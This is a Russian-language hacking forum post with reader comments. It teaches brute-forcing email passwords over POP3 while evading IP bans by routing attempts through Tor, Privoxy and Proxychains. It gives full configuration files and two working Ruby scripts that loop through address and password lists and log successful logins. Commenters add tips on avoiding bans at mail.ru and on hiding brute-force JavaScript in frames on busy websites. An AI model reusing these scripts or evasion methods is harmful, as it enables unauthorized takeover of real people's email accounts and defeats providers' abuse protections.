Сам простой способ перебора, избегающий бан - брутфорсить через прокси/соксы. Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить. Наверное, для многих не секрет, что существует еще один способ - использование 'луковой маршрутизации'. Для передачи пакета через 'луковый маршрут' используют программу Tor. Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать здесь. Далее я рассмотрю использование tor'а для брутфорса email'ов по протоколу POP3. Итак, нам понадобиться: -собственно сам Tor; -Privoxy — это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»); -Proxychains - программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP) Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки: Tor (/etc/tor/torrc): Code: DataDirectory /var/lib/tor/.tor NewCircuitPeriod 1 Group toranon User toranon Privoxy (/etc/privoxy/config): Code: forward-socks4a / 127.0.0.1:9050 . confdir /etc/privoxy logdir /var/log/privoxy actionsfile standard # Internal purpose, recommended actionsfile default # Main actions file actionsfile user # User customizations filterfile default.filter debug 4096 # Startup banner and warnings debug 8192 # Errors - *we highly recommended enabling this* user-manual /usr/share/doc/privoxy/user-manual listen-address 127.0.0.1:8118 toggle 1 enable-remote-toggle 0 enable-edit-actions 0 enable-remote-http-toggle 0 buffer-limit 4096 Proxychains (/etc/proxychains.conf): Code: #dynamic_chain random_chain #случайный сервер chain_len = 1 #максимальная длина цепи tcp_read_time_out 20000 tcp_connect_time_out 20000 #список серверов socks4 127.0.0.1 9050 socks4 127.0.0.1 9050 socks4 127.0.0.1 9050 socks4 127.0.0.1 9050 Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза. Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов: 1)скрипт инициирующий соединение, будет запускаться под tor'ом 2)скрипт инициирующий запуск первого скрипта. 1)На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb) Code: #!/usr/bin/ruby require 'net/pop' n=ARGV.size if n!=3 puts "Not enought arguments\n <[email protected]> <pass> <goodfile>" exit end login=ARGV[0].split('@')[0] pop_server='pop.'+ARGV[0].split('@')[1] paswd=ARGV[1] outfile=ARGV[2] puts "/#{pop_server}/#{login}/#{paswd}/" invalid=false begin begin Net::POP3.auth_only(pop_server, 110,login, paswd) rescue Net::POPAuthenticationError invalid=true puts "FAIL /#{ARGV[0]}/#{ARGV[1]}/ #{Time.now}" end rescue => e invalid=true puts "#{Time.now} can't connect #{e}" #retry end if invalid==false puts "SUCCESS /#{ARGV[0]}/#{ARGV[1]}/ #{Time.now}" File.open(outfile,"a") do |sfile| sfile.puts "#{Time.now} #{ARGV[0]}:#{ARGV[1]}" end end 2)На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb) Code: #!/usr/bin/ruby n=ARGV.size if n<1 or n>2 puts "Not enought arguments\n <inputfile> [<outputfile>]" exit end infile=ARGV[0] if n==1 then outfile=infile+'_out' else outfile=ARGV[1] end begin file=File.new(infile) rescue => e puts "Inputfile error:#{e}" end pass=['yourfirstpass','yoursecondpass','yourthirdpass','etc'] str='' no=0 while str!=nil puts "#{no})" str=file.gets if str!=nil mail=str.to_s.chop! pass.each do |paswd| puts "proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}" system("proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}") sleep(3) #интервал между запросами end end no+=1 end file.close Теперь рассмотрим прицип работы: -скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: 'proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}' -bash запускает proxychains -proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor'ом, где обновлять страницу скажем 2ip.ru) -по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой. Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным. Увеличить скорость работы приведенных скриптов можно добавив многопоточность.
это капризы windows'а, ему нужно указать способ работы с файлом, короче надо записать так: file=File.new(infile,'r') или file=File.new(infile,'rb'). Первый вариант годиться если разметка файла виндовская т.е. перевод строки \r\n, а второй если нормальная т.е. \n.
Неплохо) Но как я уже написал выше - гугл если не всегда, то ОЧЕНЬ часто при первом же запросе просит ввести капчу; если не ошибаюсь на ЛОРе нельзя писать из под тора... читал что есть сайты которые публикуют список нод (да и собственно получать его вручную не составляет проблемы). А после этой статьи количество сайтов банящих тор только увеличиться )
это конечно может и так, однако никто здесь не говорил что этот метод ограничиваеться лишь http, в pop3, smtp, imap, ftp, telnet итд не просят капчу
Аналог: фрейм на достаточно посещаемый сайт с замысловатым JS или AJAX, делающем грязную работу. Изврат, но равномерное распределение посетителей по странам гарантировано
немного не в тему , но на майл.ру если идти в 10-15 потоков по диапазону на один пароль , то бан не дают, а вот на других почтовиках твой способ будет норм работать.
конфиг выложен в статье. способ будет жив пока SMTP, POP3, IMAP, FTP живы и в них нет какой-либо капчи. так что еще лет 3-5-10 будет работать.